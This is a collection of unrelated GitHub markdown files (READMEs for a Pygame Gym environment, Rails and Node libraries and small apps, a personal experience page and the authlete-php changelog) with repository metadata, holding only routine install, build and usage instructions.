text:
# gym-minecraft-pygame

[![PyPI](https://img.shields.io/pypi/v/gym-minecraft-pygame)](https://pypi.org/project/gym-minecraft-pygame/)
![PyPI - Python Version](https://img.shields.io/pypi/pyversions/gym-minecraft-pygame)
[![](https://img.shields.io/pypi/l/gym-minecraft-pygame)](https://github.com/whitemech/gym-minecraft-pygame/blob/master/LICENSE)
![PyPI - Downloads](https://img.shields.io/pypi/dm/gym-minecraft-pygame)
![CI](https://github.com/whitemech/gym-minecraft-pygame/workflows/CI/badge.svg)
[![codecov](https://codecov.io/gh/whitemech/gym-minecraft-pygame/branch/master/graph/badge.svg)](https://codecov.io/gh/whitemech/gym-minecraft-pygame)

OpenaAI Gym Minecraft-like environment implemented with Pygame

## Links

- GitHub: [https://github.com/whitemech/gym-minecraft-pygame](https://github.com/whitemech/gym-minecraft-pygame)
- PyPI: [https://pypi.org/project/gym-minecraft-pygame/](https://pypi.org/project/gym-minecraft-pygame/)
- Documentation: [https://whitemech.github.io/gym-minecraft-pygame](https://whitemech.github.io/gym-minecraft-pygame)
- Changelog: [https://whitemech.github.io/gym-minecraft-pygame/history/](https://whitemech.github.io/gym-minecraft-pygame/history/)
- Issue Tracker:[https://github.com/whitemech/gym-minecraft-pygame/issues](https://github.com/whitemech/gym-minecraft-pygame/issues)
- Download: [https://pypi.org/project/gym-minecraft-pygame/#files](https://pypi.org/project/gym-minecraft-pygame/#files)

## Install

Install with `pip`:

    pip install gym-minecraft-pygame

Or, install from source:

    git clone https://github.com/whitemech/gym-minecraft-pygame.git
    cd gym-minecraft-pygame
    pip install .

## Development

- clone the repo:
```bash
git clone https://github.com/whitemech/gym-minecraft-pygame.git
cd gym-minecraft-pygame
```

- Create/activate the virtual environment:
```bash
pipenv shell --python=python3.7
```

- Install development dependencies:
```bash
pipenv install --dev
```

## Tests

Run the tests with `tox`:
```bash
tox
```

## Credits

The code is largely inspired by [RLGames](https://github.com/iocchi/RLGames.git)

repository: doktorov/gym-minecraft-pygame

repo_name: doktorov/gym-minecraft-pygame


text:
---
bg: "5.jpg"
layout: page
title: "Experience"
crawlertitle: "Experience - Angelo Lu"
permalink: /experience/
summary: "Work and team experience"
active: experience
---
Please find below my **work** experience, followed by experience on **design teams**. If you are looking for examples of my personal and school projects, please check out the [projects section](/projects/).

## Work Experience

#### Software Engineer: *Cisco Meraki*
*San Francisco, CA | June 2021 - Present*
#### Platform Engineering: *Cisco Meraki*
*San Francisco, CA + WFH | May 2019 – September 2020 (co-op)*
* Primary software member on a high-end security appliance from initial bring up to release, with revenue estimates of $70M/year
* Supported several early stage x86 and ARM projects by developing bootloaders secured by hardware trust anchors
* Validated and troubleshot board peripherals through hardware and software verification of communication buses and chips
* Integrated vendor BSPs into existing Linux build systems
* Worked with vendors and overseas manufacturers to resolve chip initialization, device performance and manufacturing problems

#### Environmental Operation Coordinator: *Green Chair Recycling*
*Vancouver, BC | May 2018 - August 2018*
* Efficiently managed waste logistics at major events, securing positive client feedback and a record number of booked events
* Wrote web app (JS + jQuery) for staff to record data and generate waste reports, solving data retention and dissemination issues
* Halved time from request to quote delivery with automated tools

#### Waiter: *Woo Korean BBQ*
*Surrey, BC | May 2018 - July 2018*
* Provided friendly and accurate food service for customers in English and Mandarin.

## Design Team Experience
#### Software Team Manager: *Queen’s Autonomous Sailboat Team*
*Kingston, ON | September 2017 – April 2019*
* Oversaw the addition of a new actuator and robot vision sensor
* Improved team communication by overseeing elements of Agile (standups, Kanban boards) to facilitate autonomous sailing algorithm research, code documentation and code cleanup
* Led development of desktop app (UWP C#) to improve boat control and telemetry over long range networking

#### Mechanical Team: *Queen’s Fuel Cell Team*
*Kingston, ON | September 2018 – April 2019*
* Designed car assembly parts (SolidWorks) for CNC manufacturing
* Gained experience with carbon-fibre layup, machining, and safety standards, in the lab and on the road at Shell Eco-Marathon

license: MIT

branch_name: refs/heads/master

extension: md

gha_language: SCSS

gha_license_id: MIT

license_type: permissive


text:
CHANGES
=======

1.12.0 (2022-08-17)
-------------------

- `AuthleteApiImpl` class
    * Added the `User-Agent` HTTP header.

1.11.0 (2022-08-17)
-------------------

- `IntrospectionResponse` class
    * Added `getScopeDetails()` method.
    * Added `setScopeDetails()` method.
    * Added `getGrantId()` method.
    * Added `setGrantId()` method.
    * Added `getConsentedClaims()` method.
    * Added `setConsentedClaims()` method.
    * Added `getServiceAttributes()` method.
    * Added `setServiceAttributes()` method.
    * Added `getClientAttributes()` method.
    * Added `setClientAttributes()` method.
    * Added `isForExternalAttachment()` method.
    * Added `setForExternalAttachment()` method.

1.10.0 (2021-02-10)
-------------------

- `Service` class
    * Added `isIssSuppressed()` method.
    * Added `setIssSuppressed()` method.
    * Added `isNbfOptional()` method.
    * Added `setNbfOptional()` method.

- `StandardIntrospectionRequest` class
    * Added `isWithHiddenProperties()` method.
    * Added `setWithHiddenProperties()` method.

1.9.0 (2020-11-09)
------------------

- `AuthleteApi` interface
    * Added `tokenDelete()` method.

- `BackchannelAuthenticationCompleteRequest` class
    * Added `getIdtHeaderParams()` method.
    * Added `setIdtHeaderParams()` method.

- `Client` class
    * Added `isRequestObjectRequired()` method.
    * Added `setRequestObjectRequired()` method.

- `DeviceCompleteRequest` class
    * Added `getIdtHeaderParams()` method.
    * Added `setIdtHeaderParams()` method.

- `Service` class
    * Added `isRequestObjectRequired()` method.
    * Added `setRequestObjectRequired()` method.
    * Added `isTraditionalRequestObjectProcessingApplied()` method.
    * Added `setTraditionalRequestObjectProcessingApplied()` method.
    * Added `isClaimShortcutRestrictive()` method.
    * Added `setClaimShortcutRestrictive()` method.
    * Added `isScopeRequired()` method.
    * Added `setScopeRequired()` method.

1.8.0 (2020-08-09)
------------------

- `AuthleteApi` interface
    * Added `backchannelAuthentication()` method.
    * Added `backchannelAuthenticationIssue()` method.
    * Added `backchannelAuthenticationFail()` method.
    * Added `backchannelAuthenticationComplete()` method.
    * Added `deviceAuthorization()` method.
    * Added `deviceComplete()` method.
    * Added `deviceVerification()` method.
    * Added `pushAuthorizationRequest()` method.

- `AuthorizationFailReason` class
    * Added `$INVALID_TARGET`.

- `AuthorizationIssueRequest` class
    * Added `getIdtHeaderParams()` method.
    * Added `setIdtHeaderParams()` method.

- `AuthorizationIssueResponse` class
    * Added `getAccessToken()` method.
    * Added `setAccessToken()` method.
    * Added `getAccessTokenExpiresAt()` method.
    * Added `setAccessTokenExpiresAt()` method.
    * Added `getAccessTokenDuration()` method.
    * Added `setAccessTokenDuration()` method.
    * Added `getIdToken()` method.
    * Added `setIdToken()` method.
    * Added `getAuthorizationCode()` method.
    * Added `setAuthorizationCode()` method.
    * Added `getJwtAccessToken()` method.
    * Added `setJwtAccessToken()` method.

- `AuthorizationResponse` class
    * Added `getResources()` method.
    * Added `setResources()` method.
    * Added `getPurpose()` method.
    * Added `setPurpose()` method.

- `Client` class
    * Added `getDerivedSectorIdentifier()` method.
    * Added `setDerivedSectorIdentifier()` method.
    * Added `getTlsClientAuthSanDns()` method.
    * Added `setTlsClientAuthSanDns()` method.
    * Added `getTlsClientAuthSanUri()` method.
    * Added `setTlsClientAuthSanUri()` method.
    * Added `getTlsClientAuthSanIp()` method.
    * Added `setTlsClientAuthSanIp()` method.
    * Added `getTlsClientAuthSanEmail()` method.
    * Added `setTlsClientAuthSanEmail()` method.
    * Added `getBcDeliveryMode()` method.
    * Added `setBcDeliveryMode()` method.
    * Added `getBcNotificationEndpoint()` method.
    * Added `setBcNotificationEndpoint()` method.
    * Added `getBcRequestSignAlg()` method.
    * Added `setBcRequestSignAlg()` method.
    * Added `isBcUserCodeRequired()` method.
    * Added `setBcUserCodeRequired()` method.
    * Added `isDynamicallyRegistered()` method.
    * Added `setDynamicallyRegistered()` method.
    * Added `getRegistrationAccessTokenHash()` method.
    * Added `setRegistrationAccessTokenHash()` method.
    * Added `getAuthorizationDataTypes()` method.
    * Added `setAuthorizationDataTypes()` method.
    * Added `isParRequired()` method.
    * Added `setParRequired()` method.

- `ClientExtension` class
    * Added `getAccessTokenDuration()` method.
    * Added `setAccessTokenDuration()` method.
    * Added `getRefreshTokenDuration()` method.
    * Added `setRefreshTokenDuration()` method.

- `GrantType` class
    * Added `$CIBA`.
    * Added `$DEVICE_CODE`.

- `IntrospectionRequest` class
    * Added `getDpop()` method.
    * Added `setDpop()` method.
    * Added `getHtm()` method.
    * Added `setHtm()` method.
    * Added `getHtu()` method.
    * Added `setHtu()` method.

- `IntrospectionResponse` class
    * Added `getResources()` method.
    * Added `setResources()` method.
    * Added `getAccessTokenResources()` method.
    * Added `setAccessTokenResources()` method.

- `Service` class
    * Added `getRegistrationManagementEndpoint()` method.
    * Added `setRegistrationManagementEndpoint()` method.
    * Added `isPkceS256Required()` method.
    * Added `setPkceS256Required()` method.
    * Added `isRefreshTokenDurationKept()` method.
    * Added `setRefreshTokenDurationKept()` method.
    * Added `isDynamicRegistrationSupported()` method.
    * Added `setDynamicRegistrationSupported()` method.
    * Added `getEndSessionEndpoint()` method.
    * Added `setEndSessionEndpoint()` method.
    * Added `getAccessTokenSignAlg()` method.
    * Added `setAccessTokenSignAlg()` method.
    * Added `getPushedAuthReqDuration()` method.
    * Added `setPushedAuthReqDuration()` method.
    * Added `getAccessTokenSignatureKeyId()` method.
    * Added `setAccessTokenSignatureKeyId()` method.
    * Added `getSupportedBackchannelTokenDeliveryModes()` method.
    * Added `setSupportedBackchannelTokenDeliveryModes()` method.
    * Added `getBackchannelAuthenticationEndpoint()` method.
    * Added `setBackchannelAuthenticationEndpoint()` method.
    * Added `isBackchannelUserCodeParameterSupported()` method.
    * Added `setBackchannelUserCodeParameterSupported()` method.
    * Added `getBackchannelAuthReqIdDuration()` method.
    * Added `setBackchannelAuthReqIdDuration()` method.
    * Added `getBackchannelPollingInterval()` method.
    * Added `setBackchannelPollingInterval()` method.
    * Added `isBackchannelBindingMessageRequiredInFapi()` method.
    * Added `setBackchannelBindingMessageRequiredInFapi()` method.
    * Added `getAllowableClockSkew()` method.
    * Added `setAllowableClockSkew()` method.
    * Added `getDeviceAuthorizationEndpoint()` method.
    * Added `setDeviceAuthorizationEndpoint()` method.
    * Added `getDeviceVerificationUri()` method.
    * Added `setDeviceVerificationUri()` method.
    * Added `getDeviceVerificationUriComplete()` method.
    * Added `setDeviceVerificationUriComplete()` method.
    * Added `getDeviceFlowCodeDuration()` method.
    * Added `setDeviceFlowCodeDuration()` method.
    * Added `getDeviceFlowPollingInterval()` method.
    * Added `setDeviceFlowPollingInterval()` method.
    * Added `getUserCodeCharset()` method.
    * Added `setUserCodeCharset()` method.
    * Added `getUserCodeLength()` method.
    * Added `setUserCodeLength()` method.
    * Added `getPushedAuthReqEndpoint()` method.
    * Added `setPushedAuthReqEndpoint()` method.
    * Added `getMtlsEndpointAliases()` method.
    * Added `setMtlsEndpointAliases()` method.
    * Added `getSupportedAuthorizationDataTypes()` method.
    * Added `setSupportedAuthorizationDataTypes()` method.
    * Added `getSupportedTrustFrameworks()` method.
    * Added `setSupportedTrustFrameworks()` method.
    * Added `getSupportedEvidence()` method.
    * Added `setSupportedEvidence()` method.
    * Added `getSupportedIdentityDocuments()` method.
    * Added `setSupportedIdentityDocuments()` method.
    * Added `getSupportedVerificationMethods()` method.
    * Added `setSupportedVerificationMethods()` method.
    * Added `getSupportedVerifiedClaims()` method.
    * Added `setSupportedVerifiedClaims()` method.
    * Added `isMissingClientIdAllowed()` method.
    * Added `setMissingClientIdAllowed()` method.
    * Added `isParRequired()` method.
    * Added `setParRequired()` method.

- `TokenCreateRequest` class
    * Added `isAccessTokenPersistent()` method.
    * Added `setAccessTokenPersistent()` method.
    * Added `getCertificateThumbprint()` method.
    * Added `setCertificateThumbprint()` method.
    * Added `getDpopKeyThumbprint()` method.
    * Added `setDpopKeyThumbprint()` method.

- `TokenFailReason` class
    * Added `$INVALID_TARGET`.

- `TokenIssueResponse` class
    * Added `getJwtAccessToken()` method.
    * Added `setJwtAccessToken()` method.
    * Added `getAccessTokenResources()` method.
    * Added `setAccessTokenResources()` method.

- `TokenRequest` class
    * Added `getDpop()` method.
    * Added `setDpop()` method.
    * Added `getHtm()` method.
    * Added `setHtm()` method.
    * Added `getHtu()` method.
    * Added `setHtu()` method.

- `TokenResponse` class
    * Added `getJwtAccessToken()` method.
    * Added `setJwtAccessToken()` method.
    * Added `getResources()` method.
    * Added `setResources()` method.
    * Added `getAccessTokenResources()` method.
    * Added `setAccessTokenResources()` method.

- `TokenUpdateRequest` class
    * Added `isAccessTokenExpiresAtUpdatedOnScopeUpdate()` method.
    * Added `setAccessTokenExpiresAtUpdatedOnScopeUpdate()` method.
    * Added `isAccessTokenPersistent()` method.
    * Added `setAccessTokenPersistent()` method.
    * Added `getAccessTokenHash()` method.
    * Added `setAccessTokenHash()` method.
    * Added `isAccessTokenValueUpdated()` method.
    * Added `setAccessTokenValueUpdated()` method.
    * Added `getCertificateThumbprint()` method.
    * Added `setCertificateThumbprint()` method.
    * Added `getDpopKeyThumbprint()` method.
    * Added `setDpopKeyThumbprint()` method.

- `UserInfoRequest` class
    * Added `getClientCertificate()` method.
    * Added `setClientCertificate()` method.
    * Added `getDpop()` method.
    * Added `setDpop()` method.
    * Added `getHtm()` method.
    * Added `setHtm()` method.
    * Added `getHtu()` method.
    * Added `setHtu()` method.

- `UserInfoResponse` class
    * Added `getUserInfoClaims()` method.
    * Added `setUserInfoClaims()` method.

- New parts
    * `BackchannelAuthenticationAction` class
    * `BackchannelAuthenticationCompleteAction` class
    * `BackchannelAuthenticationCompleteRequest` class
    * `BackchannelAuthenticationCompleteResponse` class
    * `BackchannelAuthenticationCompleteResult` class
    * `BackchannelAuthenticationFailAction` class
    * `BackchannelAuthenticationFailReason` class
    * `BackchannelAuthenticationFailRequest` class
    * `BackchannelAuthenticationFailResponse` class
    * `BackchannelAuthenticationIssueAction` class
    * `BackchannelAuthenticationIssueRequest` class
    * `BackchannelAuthenticationIssueResponse` class
    * `BackchannelAuthenticationRequest` class
    * `BackchannelAuthenticationResponse` class
    * `DeliveryMode` class
    * `DeviceAuthorizationAction` class
    * `DeviceAuthorizationRequest` class
    * `DeviceAuthorizationResponse` class
    * `DeviceCompleteAction` class
    * `DeviceCompleteRequest` class
    * `DeviceCompleteResponse` class
    * `DeviceCompleteResult` class
    * `DeviceVerificationAction` class
    * `DeviceVerificationRequest` class
    * `DeviceVerificationResponse` class
    * `NamedUri` class
    * `PushedAuthReqAction` class
    * `PushedAuthReqRequest` class
    * `PushedAuthReqResponse` class
    * `UserCodeCharset` class
    * `UserIdentificationHintType` class

1.7.0 (2018-09-28)
------------------

- `AuthorizationResponse` class
    * Added `getRequestObjectPayload()` method.
    * Added `setRequestObjectPayload()` method.
    * Added `getIdTokenClaims()` method.
    * Added `setIdTokenClaims()` method.
    * Added `getUserInfoClaims()` method.
    * Added `setUserInfoClaims()` method.

- `Client` class
    * Added `getSoftwareId()` method.
    * Added `setSoftwareId()` method.
    * Added `getSoftwareVersion()` method.
    * Added `setSoftwareVersion()` method.
    * Added `getAuthorizationSignAlg()` method.
    * Added `setAuthorizationSignAlg()` method.
    * Added `getAuthorizationEncryptionAlg()` method.
    * Added `setAuthorizationEncryptionAlg()` method.
    * Added `getAuthorizationEncryptionEnc()` method.
    * Added `setAuthorizationEncryptionEnc()` method.

- `Service` class
    * Added `getAuthorizationResponseDuration()` method.
    * Added `setAuthorizationResponseDuration()` method.
    * Added `getAuthorizationSignatureKeyId()` method.
    * Added `setAuthorizationSignatureKeyId()` method.
    * Added `isClientIdAliasEnabled()` method.
    * Added `setClientIdAliasEnabled()` method.
    * Added `isErrorDescriptionOmitted()` method.
    * Added `setErrorDescriptionOmitted()` method.
    * Added `isErrorUriOmitted()` method.
    * Added `setErrorUriOmitted()` method.
    * Added `getIdTokenSignatureKeyId()` method.
    * Added `setIdTokenSignatureKeyId()` method.
    * Added `isRefreshTokenKept()` method.
    * Added `setRefreshTokenKept()` method.
    * Added `getUserInfoSignatureKeyId()` method.
    * Added `setUserInfoSignatureKeyId()` method.
    * Removed `getSupportedIntrospectionAuthSigningAlgorithms()` method.
    * Removed `setSupportedIntrospectionAuthSigningAlgorithms()` method.
    * Removed `getSupportedRevocationAuthSigningAlgorithms()` method.
    * Removed `setSupportedRevocationAuthSigningAlgorithms()` method.

- `ServiceProfile` class
    * Added `$OPEN_BANKING`.

1.6.0 (2018-05-18)
------------------

- `MaxAgeValidator` class
    * Newly added.

1.5.0 (2018-05-17)
------------------

- `AuthorizationResponse` class
    * Added `isClientIdAliasUsed()` method.
    * Added `setClientIdAliasUsed()` method.
    * Removed `isClientAliasUsed()` method.
    * Removed `setClientAliasUsed()` method.

- `Client` class
    * Added `getSelfSignedCertificateKeyId()` method.
    * Added `setSelfSignedCertificateKeyId()` method.

1.4.0 (2018-05-13)
------------------

- `Client` class
    * Added `isTlsClientCertificateBoundAccessTokens()` method.
    * Added `setTlsClientCertificateBoundAccessTokens()` method.
    * Removed `isMutualTlsSenderConstratinedAccessTokens()` method.
    * Removed `setMutualTlsSenderConstrainedAccessTokens()` method.

- `Service` class
    * Added `isTlsClientCertificateBoundAccessTokens()` method.
    * Added `setTlsClientCertificateBoundAccessTokens()` method.
    * Removed `isMutualTlsSenderConstratinedAccessTokens()` method.
    * Removed `setMutualTlsSenderConstrainedAccessTokens()` method.

1.3.0 (2018-05-05)
------------------

- `IntrospectionRequest` class
    * Added `getClientCertificate()` method.
    * Added `setClientCertificate()` method.

- `IntrospectionResponse` class
    * Added `getProperties()` method.
    * Added `setProperties()` method.
    * Added `getClientIdAlias()` method.
    * Added `setClientIdAlias()` method.
    * Added `isClientIdAliasUsed()` method.
    * Added `setClientIdAliasUsed()` method.
    * Added `getCertificateThumbprint()` method.
    * Added `setCertificateThumbprint()` method.

- `Service` class
    * Added `isMutualTlsValidatePkiCertChain()` method.
    * Added `setMutualTlsValidatePkiCertChain()` method.
    * Added `getTrustedRootCertificates()` method.
    * Added `setTrustedRootCertificates()` method.

- `TokenRequest` class
    * Added `getClientCertificatePath()` method.
    * Added `setClientCertificatePath()` method.

- `ValidationUtility` class
    * Added `ensureString()` method.

- New parts
    * `Arrayable` interface.
    * `ArrayTrait` trait.

- Added `Arrayable` interface to some classes in `Authlete.Dto` namespace.

1.2.0 (2018-05-03)
------------------

- `AuthleteApiException` class
    * Added `getResponseHeaders()` method.
    * Added `$responseHeaders` parameter to the constructor.

- `ValidationUtility` class
    * Added `ensureNullOrType()` method.

- New classes
    * `HttpHeaders` class.

1.1.0 (2018-04-30)
------------------

- Fixed many bugs.

1.0.0 (2018-03-16)
------------------

- First release.

repository: authlete/authlete-php

gha_language: PHP

repo_name: authlete/authlete-php


text:
inspector-autovalue-compiler-extension
======================================

An inspector compiler extension that tells the inspector compiler to look for `@AutoValue`-annotated
classes to generate validators for. Note that you must still have a method returning a Validator, this
just tells the compiler where to look for 'em.

[![Maven Central](https://img.shields.io/maven-central/v/io.sweers.inspector/inspector-autovalue-compiler-extension.svg)](https://mvnrepository.com/artifact/io.sweers.inspector/inspector-autovalue-compiler-extension)
```gradle
compileOnly 'io.sweers.inspector:inspector-autovalue-compiler-extension:x.y.z'
```

repository: freemanZYQ/inspector

repo_name: freemanZYQ/inspector


text:
# C API for graphql-idl-parser

This is an FFI binding to the `graphql-idl-parser` crate, which allows you to use
that crate in your C project.

The header file (`includes/gql-idl-parser.h`) serves as the primary API documentation of
this library. T

## Usage

There are examples on how to use this in C in the `example` and `test` sub-directories.

Simply running `cargo build --release` should generate the `.so` or `.dylib` for you.

Assuming you have a C compiler, then this should work to run the example:

``` console
$ git clone git://github.com/gjtorikian/graphql-idl-parser
$ ./compile
```

Here's a general usage example:

``` c
#include "gql-idl-parser.h"

int main()
{
  GraphQLTypes* types = NULL;
  size_t types_len = 0;
  uint8_t err;

  err = gqlidl_parse_schema("# Yeah yeah\nscalar DateTime\ntype OMG {}", &types, &types_len);

  if (err > 0) {
    printf("Error: Return code %d", err);
    exit(err);
  }

  for (size_t i = 0; i < types_len; i++) {
    // ...
  }
}
```

## TODO:

- [ ] Run Valgrind

repository: gjtorikian/graphql-idl-parser

gha_language: Rust

repo_name: gjtorikian/graphql-idl-parser


text:
# marvel-characters

This is a sample Marvel Characters API in Typescript using the Marvel API as the source of Marvel character information.

[Data provided by Marvel. © 2014 Marvel](http://marvel.com)

## Running the application

* Change to the project's root directory
* Install the dependencies:
  ```
  $ npm install
  ```
* Update the following configuration in `.env` on the root directory, or set as environment variables
  Configuration | Description
  --- | ---
  `MARVEL_API_PUBLIC_KEY` | Public key provided by Marvel to access their APIs
  `MARVEL_API_PRIVATE_KEY` | Private key provided by Marvel to access their APIs
* Run the server (served on `http://locahost:8080`):
  ```
  $ npm start
  ```
* You can try the Swagger UI in your browser by accessing `http://localhost:8080/api-docs`

## Dabble with the project

The following scripts below can be executed using `npm run <script name>` in the project's root directory.

Script name | Description
--- | ---
`dev` | Spawn a hot-reloading dev server on port 8080
`lint` | Run TSLint test
`test` | Run Jest-based unit tests in Node
`build` | Builds a new set of JS assets, and outputs them to `/build`
`start` | Runs the built assets in `/build` on port 8080

repository: ajavaoddninth/marvel-characters

branch_name: refs/heads/main

repo_name: ajavaoddninth/marvel-characters


text:
Welcome to my Urdu Dictionary App

▶ [Live Demo](https://urdutoenglish.herokuapp.com/)

Purpose
-------

The Goal of this app was to digitise my wife's Urdu notebook.

So using REACT I decided she could do with a new updated version that can be accessed from anywhere.

Complete tasks

```
* Design
* Cards
* Search bar
* Urdu to English link
* Image
```

Todo!

* Image api call, provide a image to the linked word using google image search.
* Add new cards - The abilty to add new words as she learns them.
* Favorite words that are most searched for.

To get started:

```
git clone https://github.com/KSR247/Urdu_Dictionary.git
cd Urdu_Dictionary
npm install OR yarn
npm start OR yarn start
```

## Available Scripts

In the project directory, you can run:

### `npm start`

Runs the app in the development mode.

Open [http://localhost:3000](http://localhost:3000) to view it in the browser.

The page will reload if you make edits.

You will also see any lint errors in the console.

### `npm test`

Launches the test runner in the interactive watch mode.

See the section about [running tests](https://facebook.github.io/create-react-app/docs/running-tests) for more information.


text:
[![CI](https://github.com/nedap/mysql-binuuid-rails/actions/workflows/ci.yml/badge.svg)](https://github.com/nedap/mysql-binuuid-rails/actions/workflows/ci.yml) [![Maintainability](https://api.codeclimate.com/v1/badges/7bcb6538e7666bc37f9a/maintainability)](https://codeclimate.com/github/nedap/mysql-binuuid-rails/maintainability)

# mysql-binuuid-rails
`mysql-binuuid-rails` lets you define attributes of a UUID type on your models
by leveraging the Attributes API that has been available since Rails 5. By doing
so, you can store your UUIDs as binary values in your database, and still be
able to query using the string representations since the database will take care
of the type conversion.

As the name suggests, it only supports MySQL. If you're on PostgreSQL, you
can use UUIDs the proper way already.

If you were to store a UUID of 32 characters (without the dashes) as text in
your database, it would cost you at least 32 bytes. And that only counts if
every character only requires 1 byte. But that completely depends on your
encoding. If every character requires 2 bytes, storing it would already cost
you 64 bytes. And that's a lot, if you think about the fact that a UUID is
only 128 bits.

Being 128 bits, a UUID fits precisely in a column of 16 bytes. Though it won't
be really readable it sure saves up a lot of space and it's only 4x bigger
than a 32-bit integer, or 2x bigger than a 64-bit integer.

Not to mention the space you'll be saving when you create an index on the
column holding your UUID.

# Installation
You know the drill, add this line to your gemfile:

```
gem 'mysql-binuuid-rails'
```

# Usage
Using binary columns for UUIDs is very easy. There's only two steps you need to
perform which are described here.

## Adding the column to store your UUID
Suppose you have a model called `Book` to which you want to add a unique
identifier in the form of a UUID. First, make sure your database is able to
hold this attribute. So let's create a migration.

```
$ rails g migration AddUuidColumnToBooks
```

Open up the migration file and change it as you'd like:

```ruby
class AddUuidColumnToBooks < ActiveRecord::Migration[5.1]
  def change
    # 'uuid' is the column name, and 'binary' is the column type. You have to
    # specify it as a binary column yourself. And because we know that a UUID
    # takes up 16 bytes, we set can specify its limit.
    add_column :books, :uuid, :binary, limit: 16
  end
end
```

Perform the migration:

```
rails db:migrate
```

## Tell your model how to handle the binary UUID column
All you have to do now, is specify in your `Book` model how Rails should handle
the `uuid` column. Open up `app/models/book.rb` and simply add the following
single line:

```ruby
class Book < ApplicationRecord
  attribute :uuid, MySQLBinUUID::Type.new
end
```

# Migrating from ActiveUUID
There's a couple of things you need to take into consideration when you're
migrating from ActiveUUID to `mysql-binuuid-rails`.

## Replace `include ActiveUUID::UUID` in your models
In your models where you did `include ActiveUUID::UUID`, you now have to
specify the attribute which is a UUID instead:

```ruby
class Book < ApplicationRecord
  attribute :uuid, MySQLBinUUID::Type.new
end
```

## No `uuid` column in database migrations
ActiveUUID comes with a neat column type that you can use in migrations. Since
`mysql-binuuid-rails` does not, you will have to change all migrations in which
you leveraged on that migration column if you want your migrations to keep
working for new setups.

The idea behind *not* providing a `uuid` type for columnns in migrations is
that you are aware of what the actual type of the column is you're creating,
and that it is not hidden magic.

It's pretty simple:

```ruby
# Anywhere where you did this in your migrations...

create_table :books do |t|
  t.uuid :reference, ...
end

# ..you should change these kinds of lines into the kind described
# below. It's what ActiveUUID  did for you, but what you now have
# to do yourself.

create_table :books do |t|
  t.binary :reference, limit: 16, ...
end
```

## No UUIDTools
ActiveUUID comes with [UUIDTools](https://github.com/sporkmonger/uuidtools).
`mysql-binuuid-rails` does not. When you retrieve a UUID typed attribute from
a model when using ActiveUUID, the result is a `UUIDTools::UUID` object. When
you retrieve a UUID typed attribute from a model when using
`mysql-binuuid-rails`, you just get a `String` of 36 characters (it includes
the dashes).

Migrating shouldn't be that difficult though. `UUIDTools::UUID` implements
`#to_s`, which returns precisely the same as `mysql-binuuid-rails` returns
by default. But it's good to be aware of this in case you're running into
weirdness.

# Known issues
  * With Rails 5.0 in combination with uniqueness validations, ActiveRecord
    generates a wrong query. The `x` in front of the queried value, which casts
    the value to the proper data type, is missing.

# Contributing
To start coding on `mysql-binuuid-rails`, fork the project, clone it locally
and then run `bin/setup` to get up and running. If you want to fool around in
a console with the changes you made, run `bin/console`.

Bug reports and pull requests are welcome on GitHub at
https://github.com/nedap/mysql-binuuid-rails

## Testing
For the most recent major version of ActiveRecord, tests are run against the
latest patch level of all minor versions. For earlier major versions, tests are
run against the latest minor/patch.

Run tests yourself to verify everything is still working:

```
$ bundle exec rake
```

## Contributors
See [CONTRIBUTORS.md](CONTRIBUTORS.md).

# License
The gem is available as open source under the terms of the
[MIT License](http://opensource.org/licenses/MIT).

repository: envato/mysql-binuuid-rails

gha_language: Ruby

repo_name: envato/mysql-binuuid-rails


text:
[![npm version](https://badge.fury.io/js/call-of-duty-api.svg)](https://www.npmjs.com/package/call-of-duty-api)
[![https://www.github.com/sponsors/lierrmm](https://img.shields.io/badge/github-donate-teal.svg)](https://www.github.com/sponsors/lierrmm)
[![https://www.paypal.me/liammm](https://img.shields.io/badge/paypal-donate-blue.svg)](https://www.paypal.me/liammm)

![https://npmjs.org/package/call-of-duty-api](https://github.com/Lierrmm/Node-CallOfDuty/blob/master/logo.png?raw=true)

# Call Of Duty API Wrapper

Call of Duty Api is a promised based wrapper for the "private" API that Activision use on the [Call Of Duty](https://callofduty.com) website.

This wrapper is written in NodeJS and is publicly available on [npm](https://npmjs.org/package/call-of-duty-api).

# Discord

Join the discord: [here](https://discord.gg/NuUpvzC)

# Website

https://codapi.dev

# Documentation

You can find documentation [here](https://docs.codapi.dev/).

# Other Languages

[CSharp-CODAPI](https://github.com/Lierrmm/CSharp-CODAPI) - C# nuget package maintained by myself

[Flutter-CODAPI](https://pub.dev/packages/cod_api) - Flutter package maintained by myself

[cod-python-api](https://github.com/TodoLodo/cod-python-api) - Python implementation of the wrapper written by Engineer15 & TodoLodo

repository: Lierrmm/Node-CallOfDuty

gha_language: TypeScript

repo_name: Lierrmm/Node-CallOfDuty


text:
# Nanoboxifier

Welcome to Nanoboxification!

## Installation

Once you have your Rails app created you will need to add a file to the root of the application.  Create a file called boxfile.yml

For now, let's fill it in with some stuff to get us rolling.

```yml
run.config:
  engine: ruby
  engine.config:
    runtime: ruby-2.4
  extra_packages:
    - nodejs
    - nginx
    - pkgconf
    - libxml2
    - libxslt
```
You can view the file by clicking
Here

Add this line to your application's Gemfile:

```ruby
gem 'nanoboxifier'
```

And then execute:

    $ bundle

Or install it yourself as:

    $ gem install nanoboxifier

## Usage

This gem/package sets a rails application to become compatible with Nanobox.

There are a few things to configure inside a rails app when working with Nanobox and this gem is designed to make the set up easy breezy!

After running bundle install.

To get a list of tasks you can run ```ruby
rake -T | grep boxify ```

To set up your application to use postgresql:

```ruby
rake boxify_pg
```

To set up your application to use postgresql with sidekiq:

```ruby
rake boxify_pg_sidekiq
```

To set up your application to use mysql:

```ruby
rake boxify_mysql
```

To set up your application to use mysql with sidekiq:

```ruby
rake boxify_mysql_sidekiq
```

Note:  when using sidekiq, make sure to include the gem in your gemfile.
When inside your nanobox terminal you can run ```ruby bundle add sidekiq ```
Also make sure to update your config/application.rb

```ruby
# config/application.rb
class Application < Rails::Application

…

    config.active_job.queue_adapter = :sidekiq

…

  end

```

If you only want to run sidekiq in production

```ruby
# config/application.rb
class Application < Rails::Application

…

    config.active_job.queue_adapter = Rails.env.production? ? :sidekiq : :async

…

  end

```

If you are not using mailers in your local development environment you can run sidekiq by opening a separate terminal and simply enter:

```ruby

nanobox run sidekiq

```

If using mailers with sidekiq run:

```ruby

bundle exec sidekiq -q default -q mailers -C /app/config/sidekiq.rb

```

## Development

After checking out the repo, run `bin/setup` to install dependencies. Then, run `rake test` to run the tests. You can also run `bin/console` for an interactive prompt that will allow you to experiment.

To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and tags, and push the `.gem` file to [rubygems.org](https://rubygems.org).

## Contributing

